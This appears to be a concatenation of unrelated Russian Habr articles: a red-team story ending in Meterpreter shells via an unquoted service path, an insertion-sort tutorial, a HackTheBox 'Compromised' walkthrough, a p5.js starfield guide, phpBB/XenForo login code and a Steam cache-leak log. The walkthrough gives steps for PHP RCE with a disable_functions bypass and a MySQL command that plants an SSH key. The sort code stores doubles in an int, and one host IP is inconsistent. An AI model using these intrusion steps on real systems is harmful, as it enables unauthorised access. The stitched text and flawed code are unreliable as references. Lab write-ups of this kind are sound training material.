Я перепробовал все трюки, которые приходили в голову. В конце концов я поискал уязвимости [Unquoted Service Path](https://pentestlab.blog/2017/03/09/unquoted-service-path/) и нашёл парочку! Но вывод говорил о том, что мой локальный администратор не имеет права записи в нужные папки. Да бросьте! К тому времени я уже был измотан и сломлен. Заканчивалась моя 17-часовая смена. Мозг уже не работал. Это был ещё один тупик. Ещё одна серия тяжёлой борьбы и успешных взломов ради очередного фейла. Нужно было пойти домой и немного поспать, чтобы начать заново на следующий день.
Звонок другу
------------
На следующий день я снова всё перепроверил, чтобы убедиться, что ничего не упустил. Я проверил всё, что мог проверить, просканировал всё, что мог просканировать, сделал всё, что приходило в голову. Всюду небольшие зацепки, но ничего стоящего. Я позвонил коллеге из [Dallas Hackers](https://twitter.com/Dallas_Hackers). Рассказав ему о своих мытарствах, я закончил рухнувшими надеждами на уязвимость Unquoted Service Path, когда вывод показал мне отсутствие необходимых привилегий. Он спросил: «А ты все-таки попробовал проэксплуатировать её, несмотря на это?». Я замер. Я не попробовал. В том состоянии я поверил выводу и не проверил сам. Хорошо. Я попробовал записать данные в директорию. Ту же самую, для записи в которую по словам Windows у меня не было доступа. И мне это удалось. Чёртова винда. Снова меня обманула. Но ладно. Это ж офигительно. Новая зацепка.
Коллега быстро накидал мне на C загрузчик, который запускал нагрузку на Powershell. Я рискнул проверить связку на собственном компьютере, и похоже всё работало отлично. Это была извращённая атака. Но это всё, что у меня было. Я собирался:
1. Запустить listener на моём хакерском ноутбуке
2. Получить физический доступ к ноутбуку в офисе
3. Зайти под учёткой локального администратора
4. Загрузить свою связку малвари по адресу Unquoted Service Path
5. Выйти
6. Дождаться входа пользователя и запуска нагрузки
Приближался перерыв на обед. Я ответил улыбкой на приглашения коллег пойти перекусить и немного задержался. Сначала я планировал наведаться к айтишникам и добраться до одного из их компьютеров, пока они обедают. Но когда я подошёл к их кабинету, то увидел, что они все на месте! Едят свой обед перед компьютерами! Они что, не в курсе, как это вредно?! Как отсутствие разделения работы и отдыха и нехватка перерывов ведут к стрессу?! Почему они не обедают, как нормальные люди?!
Да пошли вы. Я собираюсь взломать компьютер. Любой компьютер. Я прошёлся по офису и нашёл кабинет, где никого не было. Финансисты. Хорошо, взломаем финансы. Я ответил что-то милой маленькой старушке, вернувшейся за своим кошельком. Дал ей понять, что я айтишник, обновляющий компьютеры. Она кивнула и, мило улыбнувшись, ушла. Раздражённый, с лицом, наполненным ненавистью и злорадством, я повернулся к одному из компьютеров её коллег и взломал его.
На всё ушло менее 30 секунд. Я вернул кресло и мышку в то состояние, в котором они были до моего прихода. Ещё раз бегло осмотрелся, убедившись, что всё выглядит нормально. И вернулся на своё рабочее место. Сидеть, уставившись на свой listener. В какой-то момент обед закончился. Мне не хотелось даже разговаривать. Уже начав терять надежду, я увидел:
`> Meterpreter session 1 opened`
А затем…
`> Meterpreter session 2 opened
> Meterpreter session 3 opened
...
> Meterpreter session 7 opened`
Твою ж налево! Я запустил GETUID и увидел NT AUTHORITY\SYSTEM. Иии-ха!
Хорошо! Отлично! Так! Эмм… Поехали! Да! Закрепившись в системе, я сделал дамп памяти и начал копаться в файловой системе. Какая-то финансовая информация. Какие-то пароли в открытом виде. Чувствительная информация, но ничего серьёзного. Но да ладно. Это только начало. Плацдарм. А затем…
`> Meterpreter session 1 closed`
Я пытаюсь цепляться к сессиям, но они все закрыты. Я пингую систему, не отвечает. Сканирую 445 порт. Ничего. Система недоступна. Это. Уж. Слишком. Я встаю и направляюсь прямиком в финансовый отдел. Что стряслось с моими шеллами?!
Повернув за угол, я вижу, что милая старушка разговаривает с самым здоровенным и свирепым айтишником. Я быстро делаю «Ох, ё...» и разворачиваюсь, когда старушка смотрит в мою сторону, показывает пальцем прямо на меня и кричит: «Это он! Он возился с нашими компьютерами!» Я издаю истошный крик и кидаюсь наутёк. Развернувшись спиной к свирепому айтишнику, я бегу в противоположном направлении и натыкаюсь на двух безопасников. Они выглядят очень недружелюбно и ясно дают понять, что я забрёл не в тот район. Я очнулся в крови, пристёгнутый к эргономичному офисному креслу стяжками, которыми они стягивают кабели в серверной. Начальник DFIR стоит передо мной, её костяшки сбиты. За её спиной ухмыляется небольшая команда аналитиков из группы обнаружения вторжений. Я выдавливаю из себя одно слово… Мне нужно знать… «Как...?» Она склоняется над моим ухом и шепчет: «Никто в финотделе никогда не запускает Powershell...»
Ладно… Я немного добавил драматизма в конце. Но история с тем, как я наткнулся на старушку, которая сдала меня айтишникам, настоящая. Они задержали меня прямо там. Отобрали мой ноутбук и доложили обо мне руководству. Пришёл директор по информационной безопасности и подтвердил моё присутствие. И способ, которым они меня вычислили, тоже настоящий. Они получили уведомление о том, что Powershell был запущен на системе, которая не относилась к небольшой группе айтишников и разработчиков, запускавших Powershell в обычных условиях. Простой и надёжный метод выявления аномалий.
Выводы
------
### Blue Team
* Модель наименьших привилегий
* Мультифакторная аутентификация
* Простые правила выявления аномалий
* [Глубокая защита](https://en.wikipedia.org/wiki/Defense_in_depth_(computing))
### Red Team
* Продолжать пытаться
* Не предполагать
* Обращаться за помощью
* Везёт подготовленным
* Адаптация и преодоление | https://habr.com/ru/post/430252/ | null | ru | null |
# Сортировка вставками
***Всем привет. Сегодня продолжаем серию статей, которые я написал специально к запуску курса [«Алгоритмы и структуры данных»](https://otus.pw/0BpP/) от OTUS.***
---
Введение
--------
Сортировка массива является одной из первых серьезных задач, изучаемых в классическом курсе «Алгоритмы и структуры данных» дисциплины computer science. В связи с этим задачи на написание сортировок и соответствующие вопросы часто встречаются на собеседованиях на позиции стажера или junior разработчика.
Постановка задачи
-----------------
Традиционно стоит начать изложение решений задачи с ее постановки. Обычно задача сортировки предполагает упорядочивание некоторого массива целых чисел по возрастанию. Но на самом деле, это является некоторым упрощением. Излагаемые в этом разделе алгоритмы можно применять для упорядочивания массива любых объектов, между которыми установлено отношение порядка (то есть про любые два элемента можно сказать: первый больше второго, второй больше первого или они равны). Упорядочивать можно как по возрастанию, так и по убыванию. Мы же воспользуемся стандартным упрощением.
Сортировка вставками
--------------------
В прошлый раз мы поговорили об одной из простейших сортировок — [сортировке выбором](https://habr.com/ru/company/otus/blog/509674/). Сегодня речь пойдет о несколько более сложном алгоритме — сортировке вставками.
### Описание алгоритма
Сортировка массива вставками осуществляется так: также как и в случае сортировки выбором массив делится на две части. Одна из частей называется отсортированной, а другая неотсортированной. Алгоритм предполагает проход по всему массиву с тем, чтобы длина отсортированной части стала равна длине всего массива. В рамках каждой итерации мы берем первый элемент неотсортированной части массива и осуществляем с ним следующую операцию: пока наш элемент строго меньше чем предыдущий меняем их местами. После чего увеличиваем длину отсортированной части массива на единицу. Таким образом путем последовательного перемещения изучаемого элемента мы добиваемся того, чтобы он встал на свое место. Пример осуществления одной итерации представлен ниже:
1 3 5 | 2 9 6 -> 1 3 2 5 9 6 -> 1 2 3 5 9 6 -> 1 2 3 5 | 9 6
### Реализация
Предлагаю посмотреть на реализацию данного алгоритма на языке C:
```
void insertionSortFunction(double array[], int size) {
int i, j, temp;
// i представляет длину отсортированной части массива, начинаем с 1, потому что один элемент сам по себе считается упорядоченным
for (i = 1; i < size; i++) {
temp = array[i];
for (j = i - 1; j >= 0; j--) {
if (array[j] < temp) {
break;
}
array[j + 1] = array[j];
array[j] = temp;
}
}
}
```
### Анализ
Предлагаю проанализировать данный алгоритм.
Начать анализ проще всего будет с получения асимптотики памяти. Независимо от длины и структуры предлагаемого для сортировки массива выделяется память только для двух счетчиков цикла и одной вспомогательной переменной, служащей для осуществления обмена двух переменных значениями. Таким образом всегда верно: 
.
Со временем все несколько интереснее. Тело внутреннего цикла само по себе выполняется за O(1), то есть не зависит от размера сортируемого массива. Это означает, что для понимания асимптотики алгоритма необходимо посчитать сколько раз выполняется это тело. Но количество итераций внутреннего цикла зависит от того, насколько хорошо упорядочены (или не упорядочены) элементы сортируемого массива. Для осуществления анализа необходимо посмотреть несколько случаев.
Минимальное количество итераций достигается в том случае, если сортируемый массив уже отсортирован. Действительно, для каждой итерации внешнего цикла for происходит ровно одна итерация внутреннего цикла. Это так называемый **лучший случай**. 
Таким образом, сортировка осуществляется за линейное время.
В **худшем случае** число итераций предполагается наибольшим, то есть break никогда не срабатывает. На первой итерации внешнего цикла осуществляется одна итерация внутреннего цикла. На второй итерации внешнего цикла осуществляется 2 итерации внутреннего цикла. Продолжая рассуждение дальше, можно прийти к тому, что на последней ((n — 1) — ой) итерации внешнего цикла выполниться (n — 1) итерация внутреннего цикла. Получаем: 
Для осуществления вычислений мы воспользовались свойствами О — нотации и формулой суммы арифметической прогрессии.
В **среднем случае** предполагается, что число итераций внутреннего цикла для какой-то конкретной итерации внешнего цикла равно его среднему значению, то есть математическому ожиданию. Предположим, что все допустимые числа срабатываний внутреннего цикла равновероятны. В таком случае, среднее число итераций внутреннего цикла равно . Предполагается, что i — это номер итерации внешнего цикла. Теперь для подсчета асимптотики необходимо вычислить . То есть мы просто подсчитываем сколько раз выполняется тело внутреннего цикла. Таким образом, получаем .
Если подводить итоги, то асимптотика алгоритма по памяти — 
по времени в лучшем случае 
и в среднем и в худшем случаях 
Поэтому данную сортировку относят к классу **квадратичных сортировок**.
Также важно заметить, что сортировка выбором в такой реализации является **устойчивой**. Позволю себе напомнить, что сортировка называется **устойчивой**, если при ее выполнении порядок следования равных элементов не меняется. Это свойство не очень принципиально для такой учебной задачи, как сортировка массива чисел, но если бы мы сортировали какие-то более сложные объекты с установленным отношением порядка это могло бы быть важно. Подобный пример мы можем рассмотреть как-нибудь в следующий раз, когда будем говорить о поразрядной сортировке.
Итоги
-----
Мы рассмотрели еще одну квадратичную сортировку: сортировку вставками, посмотрели на ее устойчивую реализацию. Сортировка является преимущественно учебной, хотя на практике она может применяться благодаря неплохой асимптотике в лучшем случае: если к достаточно большому упорядоченному объему данных понадобится добавить новые данные так, чтобы все данные были опять упорядочены, может пригодится внутренний цикл for. Таким образом, можно поддерживать за 
упорядоченность объема данных.
---
[Узнать о курсе подробнее.](https://otus.pw/0BpP/)
--- | https://habr.com/ru/post/510244/ | null | ru | null |
# Hack The Box. Прохождение Compromised. RCE LiteCart и бэкдор pam_unix
Продолжаю публикацию решений отправленных на дорешивание машин с площадки [HackTheBox](https://www.hackthebox.eu). Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
Организационная информацияСпециально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
- PWN;
- криптография (Crypto);
- cетевые технологии (Network);
- реверс (Reverse Engineering);
- стеганография (Stegano);
- поиск и эксплуатация WEB-уязвимостей;
Вдобавок к этому я поделюсь своим опытом в *компьютерной криминалистике,* *анализе малвари и прошивок*, *атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов*.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал [канал](https://t.me/RalfHackerChannel) в Telegram и группу для обсуждения любых вопросов в области [ИиКБ](https://t.me/RalfHackerPublicChat). Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем ([ссылка](https://t.me/hackerralf8)).
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
### Recon
Данная машина имеет IP адрес 10.10.10.204, который я добавляю в /etc/hosts.
```
10.10.10.207 compromised.htb
```
Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент - адрес сканируемого хоста:
```
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
```
Давайте посмотрим сайт.
Находим только CMS - LiteCart. Давайте просканируем директории, и я делаю это с помощью gobuster.
```
gobuster dir -t 128 -u http://compromised.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,php
```
И находим интересную директорию backup, а в ней архив.
Данный архив содержит исходные коды сайта.
Среди данных файлов мы и находим упоминание скрытого на сервере файла.
 Файл содержит учетные данные админа.
 Авторизуемся.
 Entry Point
------------
После изучения данной CMS, находим RCE эксплоит.
 Но вот только он не отрабатывает как нужно.
Посмотрим код эксплоита. Используется функция system, которая, возможно, блокируется.
Давайте изменим нагрузку и вызовем phpinfo, чтобы посмотреть заблокированные функции.
И видим большой список таких функций. Для обхода данных блокировок можем использовать [этот код](https://www.exploit-db.com/exploits/47462). Данный PHP код мы чуть изменим, чтобы сразу выполнять запрошенные команды.
И изменим код эксплоита так, чтобы считать и отправить новый PHP код.
И данный код работает.
Глянем на пользователей и заметим, что у mysql есть bash.
Давайте удобный шелл, для этого используем [webwrap](https://github.com/mxrch/webwrap).
USER1
-----
Так как у mysql есть командная оболочка, то мы можем использовать службу как обычного пользователя, а именно выполняя команды из mysql. Учетные данные для подключения к базе данных должны быть расположены в конфигах.
Теперь, когда мы получили учетные данные, давайте проверим функции mysql.
И давайте сгенерируем SSH ключи и запишем публичный в домашнюю директорию службы с помощью exec*cmd.*
```
mysql -u root --password=changethis -e "select execcmd('echo ssh-rsa AAAAB3NzaC1yc2EAAAADA/ ... 6GuPNZGryVNovs= ralf@ralf-PC > ~/.ssh/authorizedkeys');"
```
*И заходим по SSH.*
USER2
-----
И мы можем прочитать логи, где можно поискать пароли.
Попробуем сменить пользователя с найденным паролем.
ROOT
----
После длительного изучения машины, была дана подсказка про название машины и использование бэкдоров. Давайте найдем последние измененные файлы.
```
find . -mtime -100 2>/dev/null
```
*И находим скрытую библиотеку pamunix.so*, причем есть такая же, видимо легитимная. Скачиваем этот файл.
```
scp sysadmin@compromised.htb:/lib/x8664-linux-gnu/security/.pamunix.so ~/tmp/
```
И закидываем в дизасемблер (я использовал Cutter). Среди строк находим password.
Посмотрим, где эта строка используется.
И видим сравнение пароля с шестнадцатеричными значениями, которые являются половинами строки.
Пробуем данную строку как пароль рута, и удачно авторизуемся.
 | https://habr.com/ru/post/538470/ | null | ru | null |
# Создание эффекта быстрого полета сквозь космос (или падающего снега) за 10 минут на p5.js
Недавно под вдохновением от канала [The Coding Train](https://www.youtube.com/channel/UCvjgXvBlbQiydffZU7m1_aw) я решил поучаствовать в одном из 10-минутных челленджей, в котором нужно было создать иллюзию полета сквозь космос с большой скоростью.
Для реализации проекта я выбрал уже хорошо знакомый мне p5.js — библиотеку для JavaScript, предназначенную для создания арта алгоритмическим способом. Почему нельзя было для этого использовать стандартные графические пакеты от Adobe?
Во-первых, делать такое кодом — это красиво.
Во-вторых, код позволяет на лету, поменяв буквально несколько параметров, получить другой результат, скорость экспериментов и итераций значимо увеличивается.
Ну и в-третьих, этот код потом легко интегрировать в любой веб-проект в виде скрипта на JS.
Ну что же, в бесконечность и далее…
Чтобы начать проект, проще всего зайти в онлайн-редактор на сайте [editor.p5js.org](https://editor.p5js.org/)
Первым делом нам стоит создать звезды. Понятно, что нам нужно большое количество звезд, хотя технически в пространстве космоса несложно найти пространство, где невооруженным глазом можно вообще не увидеть звезд, однако наше представление об этом эффекте было создано при помощи научно-фантастических фильмов. Думаю, можно пренебречь ради эффектности точностью. Итак. Нам нужно сделать генератор рандомных звезд.
Для начала в самом верху создадим массив, который будет хранить наши звезды:
```
let stars = [];
```
Давайте создадим новую функцию с названием Star() У нее должно быть четыре ключевых параметра: положение по x, y и переменная z, через которую мы будем изменять все остальное. Для создания случайности возникновения изначальных точек мы можем воспользоваться функцией random(), а в качестве параметров задать границы нашего экрана по ширине и высоте.
> Функция random() работает с 0, 1 или 2 аргументами. Без аргументов — выдает случайное число от 0 до 1, с одним — от 0 до аргумента, с двумя — от первого до второго.
Поскольку мы собираемся строить “завод” по производству звезд, давайте сразу введем ключевое слово this, которое будет обращаться и получать доступ к информации у объекта, из которого эту функцию (а точнее — метод) мы будем вызывать.
```
function Star() {
this.x = random(-width, width);
this.y = random(-height, height);
this.z = width;
```
У опытных может возникнуть вопрос — мы что, собираемся делать реальный 3d? Но на самом деле гораздо проще сделать псевдо-3d, как в олдскульных играх. Переменная z здесь нужна для других целей. Она будет отвечать только за иллюзию третьего измерения.
Готово, хотя звезды пока не видны, но создавать мы их уже можем. Настало время придать им движение. Для этого мы расширяем нашу функцию Star() новым методом (вложенной функцией) update(), которая отвечает за бесконечный цикл изменений.
Нам нужно определиться со скоростью движения сквозь звезды. Для этого создадим переменную speed и сделаем ее равной 25. Логика следующая: мы изменяем параметр z, который будет в влиять на параметры x и y, чтобы меняя один параметр мы меняли все. Как только этот параметр достигает значения меньше единицы, мы откатываем параметры опять к рандомным начальным значениям, начиная новый цикл движения звезды по экрану.
```
this.update = function() {
this.z = this.z - speed;
if (this.z < 1) {
this.x = random(-width, width);
this.y = random(-height, height);
this.z = width;
}
};
```
Что же, звезды создаются и даже движутся, настало время их увидеть. Для этого мы воспользуемся функцией show(), так же создав обращение к объекту через this и покрасив наши звезды в белый цвет.
```
this.show = function() {
fill("white");
}
```
Теперь нам нужно создать форму для нашей звезды, причем так, чтобы иметь разнообразие в траекториях и размере. Делать это мы будем через все ту же переменную z, которая изначально равна ширине экрана (width), но с каждым фреймом уменьшается на 25, пока не станет меньше 1, после чего цикл повторяется.
Чтобы получить красивое движение звезд из центра к краю, давайте посмотрим, как должно меняться положение, а именно переменные x и y. Каждая звезда должна появляться на воображаемом луче и по нему же уходить к краю экрана.
Представим, что начальная точка — это координата 200,200. Нам нужно сделать так, чтобы оба этих показателя постепенно изменялись в сторону уменьшения
Поскольку z у нас всегда равна ширине экрана (к примеру — 600), а x и y варьируются от -600 до 600, переменные x и y на старте у нас всегда будут меньше или равны z. Это наводит на мысль, что мы можем перевести значения в более простые для управления значения от 0 до 1, просто разделяя x или y на z.
Далее мы можем сделать стандартную функцию маппинга — приравнять числа от 0 до 1 пропорционально ширине или высоте экрана. И именно эти значения уже передать в качестве параметров нашей звезде-шару: ellipse()
```
this.show = function() {
fill("white");
var sx = map(this.x / this.z, 0, 1, 0, width);
var sy = map(this.y / this.z, 0, 1, 0, height);
ellipse(sx, sy, 10, 10);
```
1. x и y отрицательные
2. x и y положительные
3. x положительный, y отрицательный или наоборот.
Представим, что width = 600, это наш космос. x = -300, y = -300. В этом кейсе начальная точка будет -300/600 = -0,5, через 4 фрейма, когда z уменьшится на 4\*25=100, координата будет уже -300/500=-0,6, т.е., координаты будут ЛИНЕЙНО уходить от центра экрана (координаты 0,0) вверх и влево, пока z не станет меньше 1.
В случае, если они будут положительными, все будет происходить точно так же, только движение будет вниз и вправо.
В случае, если они отличаются, возможны вариант вниз и влево (при положительным y и отрицательном x) или вверх и вправо (при отрицательном y и положительном x).
> Функция эллипса берет четыре параметра: положение по x, положение по y, диаметр по x и диаметр по y, на основе которых строит эллипс.
>
>
Ну что же, пора зажигать звезды и создавать космос.
Под starts и speed создаем стандартную функцию, создающую окружение (работает один раз) — setup() Внутри мы создаем наш холст — createCanvas(600,600) и запускаем наш завод по созданию звезд через цикл for, для начала ограничимся 800.
```
function setup() {
createCanvas(600, 600);
for (let i = 0; i < 800; i++) {
stars[i] = new Star();
}
}
```
После этого создаем вторую стандартную функцию — draw(), ее отличие в том, что она работает в бесконечном цикле. Красим фон через background() в черный цвет, после чего через цикл for считаем по длине массива stars (800) и, обращаясь к каждой звезде в массиве, вызываем функцию (в данном случае — метод) update() и show():
```
function draw() {
background("black");
for (let i = 0; i < stars.length; i++) {
stars[i].update();
stars[i].show();
}
}
```
Все, мы полетели, но есть две проблемы. Первая — поскольку точка отсчета координат по умолчанию стоит не по центру, а в верхнем левом углу, то мы видим только ту часть звезд, которые не имеют изначально отрицательного значения по координатам. Остальные остаются за полем зрения.
Решить эту проблему достаточно легко — нужно просто перенести центр через команду translate(width / 2, height / 2).
Вторая проблема — звезды не меняют свой размер при приближении к наблюдателю. На подсознательном уровне мы чувствуем, что что-то не то.
Для того чтобы решить эту проблему, давайте вернемся к нашему эллипсу, создадим еще одну переменную r, которая так же будет зависеть от z и будет определять третий и четвертый параметры эллипса, отвечающие за диаметр по горизонтали и вертикали. Финальный код получится следующий:
```
let stars = [];
let speed = 25;
function setup() {
createCanvas(600, 600);
for (let i = 0; i < 800; i++) {
stars[i] = new Star();
}
}
function draw() {
background("black");
translate(width / 2, height / 2);
for (let i = 0; i < stars.length; i++) {
stars[i].update();
stars[i].show();
}
}
function Star() {
this.x = random(-width, width);
this.y = random(-height, height);
this.z = random(width);
this.update = function() {
this.z = this.z - speed;
if (this.z < 1) {
this.x = random(-width, width);
this.y = random(-height, height);
this.z = width;
}
};
this.show = function() {
fill("white");
var sx = map(this.x / this.z, 0, 1, 0, width);
var sy = map(this.y / this.z, 0, 1, 0, height);
var r = map(this.z, 0, width, 10, 0);
ellipse(sx, sy, r, r);
};
}
```
Вот и все, пора лететь.
Если вам интересно посмотреть разные варианты и как параметры влияют на финальную картинку, рекомендую поиграть со значениями переменных speed, взять другие вариации цвета для фона и для звезд, увеличить или уменьшить их количество. В любом случае — приятного полета.
> * [Как воссоздать эффект муарового узора в библиотеке p5.js для новичка (быстрый гайд)](https://habr.com/ru/post/505190/)
> * [Наложение 2d-текстуры на 3d-объект с использованием p5.js (часть 1 — создание паттерна)](https://habr.com/ru/post/505226/)
> * [Наложение 2d-текстуры на 3d-объект с использованием p5.js (часть 2 — наложение паттерна на куб)](https://habr.com/ru/post/505402/)
>
> Идея и часть исходного кода взята из ролика [Coding Challenge #1: Starfield in Processing](https://www.youtube.com/watch?v=17WoOqgXsRM)
UPD:
В комментариях [TheShock](https://habr.com/ru/post/505658/#comment_21708758) предложил растягивать их от центра, чтобы звезды выглядели более звездами из СтарТрека и менее снегом. И дал ссылку на свое [решение](https://libcanvas.github.io/base/warp.html).
Я решил попробовать докрутить эту идеюу себя, но через свой код. Отказался от ellipse() в пользу line(), которая тоже берет 4 параметра — два к начальной точке и два к конечной точке линии. Первые две у нас уже были (sx, sy), теперь нужно было придумать, как должна меняться конечная, чтобы это выглядело естественно.
Для этого внедряем новую переменную:
```
this.nz = width
```
В блоке show() я просто добавил вторую пару для линии с той же логикой расчета:
```
var sx = map(this.x / this.z, 0, 1, 0, width);
var sy = map(this.y / this.z, 0, 1, 0, height);
var nx = map(this.x / this.nz, 0, 1, 0, width);
var ny = map(this.y / this.nz, 0, 1, 0, height);
```
Плюс я заметил, что в примере выше цвет звезд был не чисто белый. Так что при создании линии я добавил ей цвет «powder blue»
```
stroke(176,224,230);
line(sx, sy, nx, ny);
```
Однако в итоге получилось вот так:
Дело в том, что вторая координата до пересоздания оставалась в начальной точке. Чтобы это поправить я в конце цикла добавил:
```
this.nz = this.z;
```
Все, в зависимости от скорости размытие будет больше или меньше, при 25 это выглядит вот так:
 | https://habr.com/ru/post/505658/ | null | ru | null |
# Авторизация на сайте средствами phpBB/XenForo
Примерно год назад мне потребовалось дать возможность пользователям зарегистрированным на форуме (phpBB) авторизовываться на сайте (modX). На тот момент форум уже работал и пользователи активно общались. Решения [MODxBB](http://i--gu.ru/phpbb-i-modxbb) тогда еще не было и пришлось фантазировать.
**В итоге получилось что-то вроде этого**
```
php
global $modx, $phpbb_root_path, $phpEx, $user, $db, $config, $cache, $template, $auth;
$phpbb_root_path = $modx-config['base_path'] . 'forum/';
define('IN_PHPBB', true);
$phpEx = "php";
include($phpbb_root_path . 'includes/functions_install.' . $phpEx);
include($phpbb_root_path . 'includes/functions_display.' . $phpEx);
include($phpbb_root_path . 'common.' . $phpEx);
include($phpbb_root_path . 'includes/captcha/captcha_factory.' . $phpEx);
$user->session_begin();
$auth->acl($user->data);
$user->setup('ucp');
$login = array();
if(isset($_POST['logoutForum']) && $user->data['user_id'] != ANONYMOUS) $user->session_kill(); //Покидаем кабинет
if(isset($_POST['login']) && $user->data['user_id'] == ANONYMOUS){
$username = request_var('username', '', true);
$password = request_var('password', '', true);
$autologin = (!empty($_POST['autologin'])) ? true : false;
$viewonline = (!empty($_POST['viewonline'])) ? false : true;
$login = $auth->login($username, $password, $autologin, $viewonline);
}
header('Content-type: text/html; charset=UTF-8');
header('Cache-Control: private, no-cache="set-cookie"');
header('Expires: 0');
header('Pragma: no-cache');
if((!empty($login) && $login['status'] == LOGIN_SUCCESS) || $user->data['user_id'] != ANONYMOUS){
if(!empty($login)) $auth->acl($user->data);
$modx->setPlaceholder('UserName',get_username_string('full', $user->data['user_id'], $user->data['username'], $user->data['user_colour']));
echo $modx->getChunk('ExitBlock');
/*
Hello [+UserName+]
*/
}
else{
if(isset($login['error_msg']) && $login['error_msg']){ //Обработка ошибок
$err = $user->lang[$login['error_msg']];
if ($login['error_msg'] == 'LOGIN_ERROR_USERNAME' || $login['error_msg'] == 'LOGIN_ERROR_PASSWORD'){
$err = (!$config['board_contact']) ? sprintf($user->lang[$login['error_msg']], '', '') : sprintf($user->lang[$login['error_msg']], '', '');
}
if($login['error_msg']=='LOGIN_ERROR_ATTEMPTS'){ //Брут?
$captcha = & phpbb_captcha_factory::get_instance($config['captcha_plugin']);
$captcha->init(CONFIRM_LOGIN);
$template->assign_vars(array('CAPTCHA_TEMPLATE' => $captcha->get_template()));
$err = $user->lang[$login['error_msg']];
$err.='
![Код подтверждения]()
Код с картинки:
';
}
$modx->setPlaceholder('ErrorMsg',$err);
}
echo $modx->getChunk('forumLoginForm');
/*
[+ErrorMsg+]
Логин:
*/
}
?>
```
Код конечно не идеальный, но он работал безотказно.
Топик бы на этом и закончился, если бы в один прекрасный день не пришла в голову мысль сменить движок форума. Побродив по интернету было решено ставить XenForo. Определяющими факторами стали такие пункты как:
1. Социальные плюшки из коробки
2. Возможность импорта пользователей, топиков и сообщений с форума phpBB 3.0
3. Комфортный код
4. Активное [сообщество](http://www.xf-russia.ru/)
**Download, Install, Import...** Причем импорт делался с сохранением ID-шников, чтобы можно было без заморочек перенаправить пользователя зашедшего на сайт по ссылке старого форума на новую страницу.
Теперь было необходимо восстановить работоспособность формы авторизации на самом сайте. Как оказалось это не так уж и сложно, ведь код XenForo предельно понятен.
```
php
$noauth=isset($noauth)? $noauth : ''; //еще не авторизованым что показывать?
$fileDir=$modx-config['base_path'].'forum/';
$startTime = microtime(true);
require ($fileDir . '/library/XenForo/Autoloader.php');
XenForo_Autoloader::getInstance()->setupAutoloader($fileDir . '/library');
XenForo_Application::modxParserActive(); //Говорим XenForo, что у нас свой обработчик ошибок
XenForo_Application::initialize($fileDir . '/library', $fileDir);
XenForo_Application::set('page_start_time', $startTime);
XenForo_Session::startPublicSession();
$xfUser = XenForo_Visitor::getInstance();
$data=array();
if($xfUser->get('user_id')=='0'){
$data['back']=isset($_SERVER['REQUEST_URI'])?$_SERVER['REQUEST_URI']:'/';
$data['linkauth']='forum/login/login';
$data['noauth']=$modx->getChunk($noauth); //Вам нужно авторизоваться
echo $modx->parseChunk('forumLoginForm', $data,'[+','+]');
/*[+noauth+]
<р>Логин/e-mail: Пароль:
\*/
}else{
$data['UserName']=$xfUser->get('username');
echo $modx->parseChunk('ExitBlock', $data,'[+','+]');
}
?>
``` | https://habr.com/ru/post/136833/ | null | ru | null |
# У Steam проблемы с кешированием, из-за которой пользователи видят информацию о чужих аккаунтах
Steam сегодня испытывает большие проблемы с кешированием страниц.
Началось все при старте 4го дня новогодней распродажи в Steam. Многие пользователи получили доступ к инструментам администратора в Steam.
Хотя нажатия кнопок эффекта не вызывают, но можно увидеть лог:
**Если интересно, вот сохраненный лог**
```
Stats for default/
Tracked requests: 24,758
Average Time: 2.05
Average PHP Time: 0.73
Average WG Time: 1.32
Average WG Bytes: 22,255.30
Average WG Calls: 2.40
(View All Controller Stats)
The following asserts fired while rendering this page:
----------------- FAILURE -----------------
PHP Notice: Memcache::get() [<memcache.get>]: Server 10.4.0.52 (tcp 11211) failed with: Connection timed out (110)
Occurred at: /valve/www/store.steampowered.com/bld3202303/common/memcached/objectcache.php : 208
Callstack:
0: get( a:1:{i:0;s:35:"betasub_1629313_2940_russian_public";} ) called at /valve/www/store.steampowered.com/bld3202303/common/memcached/objectcache.php : 208
1: GetMultipleObjects( a:1:{i:0;s:35:"betasub_1629313_2940_russian_public";} ) called at /valve/www/store.steampowered.com/bld3202303/store/includes/subscription.php : 1425
2: LoadSubsFromMemcachedIfNeeded( a:1:{i:0;i:2940;}, O:18:"CSharedObjectCache":6:{s:31:"?CSharedObjectCache?m_rgS ... , O:12:"CObjectCache":5:{s:13:"?*?m_Memcache";O:8:"Memcache":1 ... ) called at /valve/www/store.steampowered.com/bld3202303/store/includes/subscription.php : 1460
3: PreloadMultipleSubs( a:1:{i:0;i:2940;} ) called at /valve/www/store.steampowered.com/bld3202303/store/includes/application.php : 3368
4: OnWGDataReady( ) called at /valve/www/store.steampowered.com/bld3202303/store/includes/application.php : 3354
5: {closure}( {unserializable}, {unserializable} ) called at unknown location...
6: call_user_func( {unserializable}, {unserializable}, {unserializable} ) called at /valve/www/store.steampowered.com/bld3202303/common/cwg.php : 9985
----------------- FAILURE -----------------
PHP Notice: Memcache::set() [<memcache.set>]: Server 10.4.0.54 (tcp 11211) failed with: Connection timed out (110)
Occurred at: /valve/www/store.steampowered.com/bld3202303/common/memcached/objectcache.php : 145
Callstack:
0: set( s:31:"betaapp_28_29900_russian_public";, O:12:"CApplication":130:{s:33:"?CApplication?m_strLoadedLang ... , i:0;, i:3956; ) called at /valve/www/store.steampowered.com/bld3202303/common/memcached/objectcache.php : 145
